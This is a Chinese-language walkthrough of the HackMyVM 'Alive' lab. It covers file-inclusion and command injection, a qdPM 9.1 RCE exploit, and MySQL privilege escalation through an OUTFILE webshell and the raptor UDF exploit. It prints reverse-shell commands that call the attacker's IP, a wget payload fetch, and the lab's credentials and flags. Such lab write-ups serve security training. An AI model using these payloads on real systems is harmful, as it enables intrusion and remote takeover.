目录
一、测试环境
1、系统环境
渗透机:kali2021.1(192.168.101.127)
靶 机:debian(192.168.101.155)
注意事项:
①该类型靶场只能在virtualBox上搭建,因此将靶机设置为桥接网络,方便进行渗透。攻击机kali也要桥接出来,不然会出问题。
②靶机启动失败:设置中取消勾选usb即可
2、使用工具/软件
Kali: arp-scan(主机探测)、nmap(端口和服务扫描)、gobuster(目录扫描)、python3(临时web服务)、nc(监听shell)、searchsploit(查找exp)、echo(写入文件)
Burp suite(修改发送数据包)
测试网址:http://192.168.101.155、http://digitcoder.alive.hmv
靶场介绍:由国外大佬搭建的靶场,类似于vulnhub,经常更新,需要翻墙才能进。
++地址:++++https://hackmyvm.eu/machines/machine.php?vm=Alive++
二、测试目的
通过文件包含漏洞获取shell,使用mysql进行提权。
三、操作过程
1、信息搜集
主机探测
bash
arp-scan -l
靶机IP:192.168.101.155
物理机IP:192.168.101.241
![](https://i-blog.csdnimg.cn/direct/6813dc5af0c64780b15c6770d1719348.png)
端口和服务探测
bash
nmap -sT -A -p- -T4 192.168.101.155
可以看到靶机开放22端口(ssh服务)、80端口(web服务)
![](https://i-blog.csdnimg.cn/direct/f9130bfc87f54963b185bf6d3f8138ff.png)
目录扫描
bash
gobuster dir -u http://192.168.101.155 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,jsp,html,txt
只有一个主页和tmp目录,是空着的
![](https://i-blog.csdnimg.cn/direct/25b022a7a69c475aa9c6cbfe38bf1dc1.png)
2、Getshell
主页的url注入框,可以进行包含url,存在文件包含漏洞
![](https://i-blog.csdnimg.cn/direct/aef154d3357448918d596f3ad06f1dd6.png)
用file协议查看/etc/passwd文件
file:///etc/passwd
存在一个普通用户alexandra和root用户
![](https://i-blog.csdnimg.cn/direct/2302cd75974a49a5835696cbaefc249a.png)
尝试包含当前页面的源代码
file:///var/www/html/index.php
可以看到成功获得页面源代码,使用了curl命令获取资源并输出
![](https://i-blog.csdnimg.cn/direct/c7603f591cf54a95b94a974bbacd29e9.png)
代码过滤了一些黑名单符号,但没过滤重定向符号>
尝试命令注入,将获取的资源重定向写入反弹shell
使用python3搭建临时web服务
192.168.101.127:8888/reverseShell.php > shell.php
但是没有成功写入
![](https://i-blog.csdnimg.cn/direct/697a2e2ec022432aa5ff4bcba076ad35.png)
这时候想到给了一个其他目录,尝试写入tmp目录
192.168.101.127:8888/reverseShell.php > tmp/shell.php
可以看到成功请求
![](https://i-blog.csdnimg.cn/direct/537beb1832e342e5af1fc106b9f255ff.png)
成功写入反弹shell
![](https://i-blog.csdnimg.cn/direct/c97d6d43007640bd817b0c5321da34d3.png)
Kali攻击机开启监听,点击shell.php文件即可获取反弹shell
![](https://i-blog.csdnimg.cn/direct/8ab19ecf91a34fb4aa180c1f46c95303.png)
3、主机探索
Web网页只有主页和tmp目录,但在网页目录中发现其他目录
/var/www/code
![](https://i-blog.csdnimg.cn/direct/f1627f2366344a8d97e7a9209b6ce7cf.png)
Index.php可以找到mysql的一个用户名和密码
admin/HeLL0alI4ns
并且这个也是一个网页资源,试试找找这个网页有没有打开
![](https://i-blog.csdnimg.cn/direct/9c7f2a4f7c2a458da7230ce76df0091e.png)
/opt目录
靶机没有netstat命令,使用ps命令查看进程
bash
ps -aux
可以看到启动了8000端口,使用php开启了web服务,根目录是/opt
![](https://i-blog.csdnimg.cn/direct/7cb1d79510a84676842aa35adc0b7cb5.png)
先在/opt目录查看下源文件
一个zip文件,一个html没什么用
bash
cd /opt
ls
cat index.html
![](https://i-blog.csdnimg.cn/direct/4e858409ad9e431ba5798ff3416deb50.png)
解压zip文件,获取一串数字
bash
cp backup.zip /tmp
cd /tmp
unzip backup.zip
cat digitcode.bak
![](https://i-blog.csdnimg.cn/direct/25c8796457a14e13b45b828a0f76ebe3.png)
使用包含靶机8000端口资源,也没什么用
![](https://i-blog.csdnimg.cn/direct/5a5f3ba491724e85bf6bb7d740d04b29.png)
/vat/www/code的web渗透
这个web感兴趣可以玩一下,最后的权限也是www-data,可以直接找提权方法,这算是作者留下的彩蛋。
在apache2的根目录查看网站配置文件有所发现
/etc/apache2/sites-available/000-default.conf
可以看到有所发现,网页目录是/var/www/html,当设置hosts地址:digitcoder.alive.hmv时,网页地址就是/vat/www/code
![](https://i-blog.csdnimg.cn/direct/60ac56880c39462592b41cf9bda70d0a.png)
添加hosts进行访问
192.168.101.155 digitcoder.alive.hmv
![](https://i-blog.csdnimg.cn/direct/5b2c8e840a3243019ecf94772f4fc972.png)
可以访问,这个15位数字就是在/opt目录发现digitcode.bak文件内容
494147203525673
![](https://i-blog.csdnimg.cn/direct/a6158f3f099c46cca5c6d8785aa3ca77.png)
输入正确后会进入到qdPM的登录页,但是不知道登录的用户名和密码
![](https://i-blog.csdnimg.cn/direct/f62121c0535b412b99b67ba2ee2d53c1.png)
尝试在源文件中寻找,发现使用了mysql数据库
/var/www/code/qdpmApp/check.php
![](https://i-blog.csdnimg.cn/direct/af90fe2203d8464bb525aed105ef5224.png)
找到数据库配置文件:
/var/www/code/qdpmApp/core/config/databases.yml
发现又一个数据库用户名和密码
qdpmUser/HeLL0alI4ns
![](https://i-blog.csdnimg.cn/direct/3c31893c39f547edabb9467db7e2f62a.png)
bash
mysql -u qdpmUser -p
HeLL0alI4ns
use qdpm_db;
show tables;
select * from users;
exit
这里有个问题,我无法获取交互式的MariaDB。输入sql命令后不会执行,在输入exit时,才会执行所有命令并退出。
![](https://i-blog.csdnimg.cn/direct/0fff0a7b46d04f8b8d1f2717afd60a03.png)
可以看到登录email: administrator@alive.hmv
但是密码解不出来
![](https://i-blog.csdnimg.cn/direct/144cd1ca9b53445bae5718776439ea8c.png)
尝试数据库密码登录登上去了
administrator@alive.hmv/HeLL0alI4ns
![](https://i-blog.csdnimg.cn/direct/a513349960e7470bbd54eacb3031b9fa.png)
该webapps是qdPM 9.1版本
可以找到该版本的rce漏洞进行利用
bash
searchsploit qdpm 9.1
searchsploit -p php/webapps/50944.py
cp /usr/share/exploitdb/exploits/php/webapps/50944.py 50944.py
![](https://i-blog.csdnimg.cn/direct/05e57825034940d08038c76243fa8a61.png)
因为url需要hosts,也要设置kali的hosts内容
bash
echo '192.168.101.155 digitcoder.alive.hmv' >> /etc/hosts
![](https://i-blog.csdnimg.cn/direct/6302dddbf930490bba11ed160a767a95.png)
bash
python3 50944.py -url http://digitcoder.alive.hmv/qdpmApp/ -u administrator@alive.hmv -p HeLL0alI4ns
成功生成后门文件
![](https://i-blog.csdnimg.cn/direct/2b0bb4f1def049ebbb1c58cb4ea0b8ec.png)
不过这个也是www-data权限,就没什么利用价值了
![](https://i-blog.csdnimg.cn/direct/4986745f2c1f449ab3c2997f4b82f1ed.png)
4、提权
写入webshell
bash
mysql -u admin -p -e "show databases;"
查看数据库发现,admin用户可以查看mysql表
![](https://i-blog.csdnimg.cn/direct/da434cdf36d74977a88ae323cc99848c.png)
找出root用户的密码信息
bash
mysql -u admin -p -e "SELECT host,user,password from mysql.user;"
root/*88B2B2E7392C149CE6B704871A568FD35798F9B8(thecondor)
![](https://i-blog.csdnimg.cn/direct/8c40cc975cc6460f9c1985ab59fb9903.png)
解密网站(需要翻墙):
![](https://i-blog.csdnimg.cn/direct/78ae7967e2394f83814ea1e38228f89b.png)
尝试用mysql的root查看文件,只能查看普通文件,root权限的文件看不了
bash
mysql -uroot -p -e "SELECT load_file('/opt/index.html');"
mysql -uroot -p -e "SELECT load_file('/etc/shadow');"
![](https://i-blog.csdnimg.cn/direct/5bb2b2c3503241c09ae13445bc0eae2c.png)
写入文件getshell
bash
mysql -uroot -p
thecondor
select "<?php echo shell_exec($_GET['ccc9wy']);?>" into OUTFILE "/opt/getshell.php";
exit
ls -la
可以看到,写入的文件是root权限的
![](https://i-blog.csdnimg.cn/direct/84ef6effc4dd48e391315010b4a1f8e5.png)
用该文件进行反弹shell,得到的权限就是root
使用文件包含漏洞,访问内网8000端口上的getshell.php
http://127.0.0.1:8000/getshell.php?ccc9wy=nc -c %2Fbin%2Fbash 192.168.101.127 9999
![](https://i-blog.csdnimg.cn/direct/b65b9989db6a4e4b920423edd58269af.png)
Kali开启监听,成功获取root权限的反弹shell
![](https://i-blog.csdnimg.cn/direct/d04154cda6e143228b99bb128ffbd1d7.png)
查看root.txt
bash
SHELL=/bin/bash script -q /dev/null
cd
cat root.txt
819be2c3422a6121dac7e8b1da21ce32
![](https://i-blog.csdnimg.cn/direct/d9af054025a14d36897cf729fe67c115.png)
user.txt在alexandra用户的家目录
bash
cd /home/alexandra
cat user.txt
1637c0ee2d19e925bd6394c847a62ed5
![](https://i-blog.csdnimg.cn/direct/8500ccdbc8194d94937b885453385018.png)
UDF提权
查找udf的exp
bash
searchsploit mysql udf
![](https://i-blog.csdnimg.cn/direct/24e79e441621459984b0687ee52410f5.png)
复制一份exp出来使用,并直接编译,编译成so文件
bash
searchsploit -p linux/local/1518.c
cp /usr/share/exploitdb/exploits/linux/local/1518.c 1518.c
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc
ls
![](https://i-blog.csdnimg.cn/direct/2f1e4d547a8d4c3588d8fd0ec4157faa.png)
上传so文件到靶机
bash
wget 192.168.101.127:8888/raptor_udf2.so
![](https://i-blog.csdnimg.cn/direct/8c5278d6c5d748a8b76c618fbd14df37.png)
查找plugin插件位置
bash
mysql -uroot -p -e "show variables like '%plugin%';"
![](https://i-blog.csdnimg.cn/direct/45687c05693548788f30ac41287590ad.png)
复制so文件到插件位置
bash
cp /tmp/raptor_udf2.so /usr/local/mysql/lib/plugin/raptor_udf2.so
![](https://i-blog.csdnimg.cn/direct/3c5667e7aea649668885f2dce4580ebc.png)
开始利用,导入so文件
bash
mysql -uroot -p
thecondor
sql
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/local/mysql/lib/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('nc -e /bin/bash 192.168.101.127 6666');
![](https://i-blog.csdnimg.cn/direct/14625545b69a4dfabcfdb8048a9f234d.png)
![](https://i-blog.csdnimg.cn/direct/62583424888d4a39a915563facf5eab9.png)
![](https://i-blog.csdnimg.cn/direct/db13939421754bc89100edda8cfc4553.png)
在攻击机进行监听,成功获取root权限的反弹shell
bash
nc -lvvp 6666
id
![](https://i-blog.csdnimg.cn/direct/a6b820272c6c401e834b37503dd00600.png)
四、结论
靶场内容很多,可以详细探索一下。利用了主页的文件包含漏洞,qdPM的web系统RCE漏洞。Mysql可以越权写入文件,使用udf提权。